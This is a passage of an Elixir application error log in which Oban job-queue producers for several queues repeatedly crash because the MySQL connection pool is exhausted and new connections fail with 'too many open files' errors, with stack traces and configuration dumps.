"mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29571>, refresh_timer: #Reference<0.2525715032.1077673987.1312>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:45:56.242054Z], limit: 5, uuid: "1253f78b-d6c5-4f95-aebb-4fabbc673dc6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:56.242060Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29569>, refresh_timer: #Reference<0.2525715032.1099431938.29510>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:10.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:45:56.242760Z], limit: 3, uuid: "197a082d-2835-4c81-9e08-4fc7eea2b459", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:56.242766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29572>, refresh_timer: #Reference<0.2525715032.1077673987.1301>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:45:56.242301Z], limit: 50, uuid: "dc335c6d-554a-4750-a782-4bfa9c9d6078", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:56.242306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29570>, refresh_timer: #Reference<0.2525715032.1099431938.29522>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:45:56.247526Z], limit: 10, uuid: "4fe3cb46-4821-4ad1-afa2-6731f1203f1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:56.247531Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29568>, refresh_timer: #Reference<0.2525715032.1099431938.29536>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:12.423000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:15.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:16.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:17.298000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:18.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:20.259000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:20.533000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:46:10.242687Z], limit: 5, uuid: "abf982a7-ea88-47ef-838d-e781dbe13db7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:10.242694Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29875>, refresh_timer: #Reference<0.2525715032.1077673987.1452>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:46:10.243125Z], limit: 5, uuid: "3d8bf6bc-bd93-4151-869b-01359b98d298", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:10.243132Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29873>, refresh_timer: #Reference<0.2525715032.1099431938.29865>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:46:10.246268Z], limit: 3, uuid: "303a94bb-cfd4-41f2-873a-a1ceb21cea19", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:10.246275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29876>, refresh_timer: #Reference<0.2525715032.1077673987.1479>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:22.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:46:10.249852Z], limit: 10, uuid: "7b57c8c5-289b-4098-9b2c-f35bac25bee6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:10.249859Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.1500>, refresh_timer: #Reference<0.2525715032.1077673987.1487>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
